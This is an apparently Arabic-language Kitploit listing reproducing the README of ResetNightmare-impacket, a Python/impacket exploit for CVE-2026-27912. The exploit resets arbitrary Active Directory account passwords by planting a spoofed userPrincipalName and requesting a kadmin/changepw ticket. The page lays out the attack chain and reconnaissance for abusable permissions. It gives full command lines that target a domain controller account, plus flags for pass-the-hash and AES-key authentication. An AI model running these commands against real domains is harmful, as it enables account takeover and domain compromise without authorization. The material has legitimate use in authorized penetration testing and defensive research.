Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — نسخة Linux/impacket من PoC Invoke-ResetNightmare الخاصة بـ Semperis Community | Kitploit
أدوات/GitHubGitHub/mihat2/resetnightmare-impacket
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتاختبار الاختراقالمصادقةالفريق الأحمر
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — نسخة Linux/impacket من PoC Invoke-ResetNightmare الخاصة بـ Semperis Community

عرض المستودع
1527منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ResetNightmare — CVE-2026-27912

أدوات Linux / impacket لـ CVE-2026-27912 ("ResetNightmare"). تعيد تعيين كلمة مرور حساب Active Directory هدف عبر طلب TGT من نوع kadmin/changepw لأصل NT_ENTERPRISE اسمه هو sAMAccountName الخاص بالهدف، باستخدام حساب (UPNUser) نملك عليه صلاحية كتابة userPrincipalName مزيف.

نقل إلى Python لأداة PowerShell Semperis Community Invoke-ResetNightmare (انظر Credits).

⚠️ إخلاء المسؤولية القانونية

لاختبار الأمان المصرّح به والاستخدام التعليمي فقط. تغيّر هذه الأداة بيانات اعتماد Active Directory حقيقية وقد تؤدي إلى قفل الحسابات.

  • شغّلها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها (مهمة موقّعة أو مختبر تتحكم به).
  • الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني (مثل قانون CFAA الأمريكي، وقانون إساءة استخدام الحاسوب البريطاني، وما يعادلها) وقد يترتب عليه عقوبات جنائية ومدنية.
  • لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام. يُقدَّم البرنامج "كما هو" — انظر LICENSE. إذا لم يكن لديك إذن، فلا تشغّل هذا.

كيف يعمل

  1. (اختياري) إنشاء UPNUser، ومنح الذات GenericAll، وتعيين كلمة مروره، وتفعيله.
  2. استخراج sAMAccountName الخاص بالهدف.
  3. تعيين UPNUser.userPrincipalName = <targetSAN> (الـ UPN المزيف).
  4. AS-REQ بصفتك NT_ENTERPRISE '<targetSAN>' لـ kadmin/changepw — يربط الـ KDC الـ UPN المؤسسي بـالهدف ويصدر له TGT لتغيير كلمة المرور.
  5. مسح الـ UPN المزيف.
  6. تغيير كلمة المرور عبر kpasswd باستخدام ذلك الـ TGT → يعيّن كلمة مرور الهدف.
  7. استعادة الـ UPN الأصلي لـ UPNUser.

اختيار --upn-user

--upn-user هو الحساب الذي تكتب عليه الـ UPN المزيف (مستخدم، أو حاسوب مع --computer). الشرط الوحيد هو أن تكون قادرًا على كتابة userPrincipalName الخاص به. هناك ثلاث طرق للحصول على ذلك — وهي نفسها التي تعتمد عليها أداة PowerShell الأصلية:

#كيف تحصل على صلاحية كتابة UPNالخياريحتاج إلى OU؟
Aإنشاء الحساب في OU تملك فيه صلاحية Create Child → يصبح ملكك → تمنح الأداة نفسها GenericAll → تكتب الـ UPN--create-new-pathنعم
Bحساب موجود لديك عليه بالفعل GenericWrite / GenericAll / WriteProperty(userPrincipalName)(لا شيء)لا
Cحساب موجود تملكه أو لديك عليه WriteDacl (بدون كتابة مباشرة على الخاصية)--grant-selfلا

لذا لا تحتاج بالضرورة إلى التحكم في OU — فالمسار B يعمل بالاعتماد على صلاحيات مفوّضة على أي حساب واحد. لكنك تحتاج إلى واحد من A/B/C. شغّل --find لترى أيها لديك.

حاسوب نطاق وحده لا يكفي. جهاز أنت مسؤول محلي عليه / تحمل الـ hash الخاص به — لكن ليس لديك حقوق كتابة في AD عليه — لا يمنحك أيًا من A/B/C. كما أن الحاسوب المُنشأ عبر MachineAccountQuota (addcomputer.py إلى CN=Computers) لا يعمل أيضًا: فمنشئه ليس المالك ولا يحصل على صلاحية كتابة UPN، لذا تفشل كل من الكتابة المباشرة و--grant-self بالخطأ result 50. استخدم المسار A مع OU مفوّض.

التثبيت

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

الاستخدام

بيانات اعتماد المشغّل هي الوسيط الموضعي الأول: [domain/]username[:password]. يمكن حذف أي كلمة مرور وستُطلب منك.

الاستطلاع — ما الذي يمكن لهذا الحساب إساءة استخدامه؟ يُبلّغ عن الحسابات التي يمكنك كتابة UPN عليها، وعن الوحدات التنظيمية (OUs) التي يمكنك إنشاء كائنات فيها، وعن MachineAccountQuota، مع أوامر مقترحة:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

كل نتيجة تطبع سبب/أسباب via: الخاصة بها وowner: الخاص بالكائن. يخبرك المالك بتمييز مساري إنشاء الكمبيوتر بنظرة واحدة — كمبيوتر الحاوية المفوَّض يُظهر owner: <you> (لديك WRITE_DAC ضمنيًا، لذا يعمل --grant-self)، بينما يُظهر كمبيوتر MAQ / CN=Computers القيمة owner: BUILTIN\Administrators (لا تملك ذلك، لذا لا يمكن استخدامه):

=== Accounts you can write a UPN on  (use as --upn-user) ===
  [+] svc_web                        CN=svc_web,OU=Services,DC=corp,DC=local
        via:   WriteProperty(userPrincipalName)
        owner: Domain Admins

إعادة تعيين هدف باستخدام حساب يمكنك كتابة UPN عليه:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

أنشئ حساب UPN أولاً (يتطلب صلاحية Create Child على الـ OU، و LDAPS):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

إنشاء حساب كمبيوتر كحساب UPN (--create-new-path + --computer):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
  --upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

حساب موجود حيث يمكنك إعادة كتابة DACL ولكن لا يمكنك كتابة UPN (--grant-self). عندما يُبلّغ --find عن --upn-user يمكن الوصول إليه عبر Owner أو WriteDacl (يمكنك تغيير ACL الخاص به ولكن ليس لديك كتابة مباشرة على الخصائص)، يضيف --grant-self ACE من نوع GenericAll لك أولاً، ثم يستمر الهجوم. فقط للحسابات الموجودة — --create-new-path يمنح نفسه الصلاحية بالفعل.

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --grant-self \
  --upn-user svc_legacy --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

إذا فشل --grant-self نفسه بـ result 50، فأنت لست المالك ولا تملك WriteDacl على ذلك الحساب — لن يفيد. هذه هي النتيجة المعتادة لجهاز أنشأته عبر addcomputer.py/MAQ: عادةً لا يحصل المنشئون على الملكية ولا على كتابة UPN، لذا أجهزة MAQ غير قابلة للاستخدام كـ --upn-user. شغّل --find واختر حسابًا يُشير إليه بـ WriteProperty(userPrincipalName) أو GenericWrite أو GenericAll أو Owner أو WriteDacl.

أضف -debug لتسجيل مفصّل لـ AS-REQ / LDAP / kpasswd.

الأعلام

العلمالمعنى
<positional>بيانات اعتماد المشغّل: [domain/]username[:password]
--target-accountsAMAccountName المراد إعادة تعيينه (حسابات الأجهزة تنتهي بـ $)
--target-new-passwordكلمة المرور الجديدة المراد تعيينها على الهدف
--upn-userالحساب المراد كتابة UPN المزيف عليه (أو إنشاؤه بـ --create-new-path)
--upn-user-passwordكلمة مرور --upn-user بصيغة نص صريح
--computerالتعامل مع --upn-user كحساب جهاز
--create-new-path <DN>OU/Container لإنشاء --upn-user فيه أولًا (يتطلب LDAPS)
--grant-selfمنح المشغّل GenericAll على --upn-user موجود تملكه قبل كتابة UPN (يتطلب الملكية / WriteDacl)
--findاستطلاع: الإبلاغ عن الحسابات/الـ OUs القابلة للاستغلال (مع owner لكل نتيجة) + الأوامر المقترحة، ثم الخروج
--list-ousسرد الـ OUs/Containers ثم الخروج (اختر --create-new-path صالحًا)
--aes-key <hex>مفتاح AES الخاص بـ --upn-user لـ AS-REQ بدلًا من كلمة مرور
--upn-user-hash <NT>تجزئة NT (أو LM:NT) الخاصة بـ --upn-user لـ AS-REQ بدلًا من كلمة مرور
-k, --kerberosربط LDAP عبر Kerberos (SASL/GSSAPI) (يستخدم KRB5CCNAME)
-H LM:NTربط LDAP (NTLM) عبر Pass-the-hash
--no-passعدم طلب كلمة مرور (استخدم -k / KRB5CCNAME)
--dc-hostاسم مضيف/ FQDN للـ DC (لـ Kerberos SPNs)
--dc-ipعنوان IP للـ DC
--no-sslLDAP عادي/389 (غير متوافق مع --create-new-path)
--supported-encryptionنوع التشفير المفضّل، معلوماتي (الافتراضي aes256)
-debugتسجيل مفصّل

يُطلب إدخال كلمات المرور تفاعليًا عند حذفها.

استكشاف الأخطاء وإصلاحها

إخفاقات --create-new-path:

تنزيل الأداة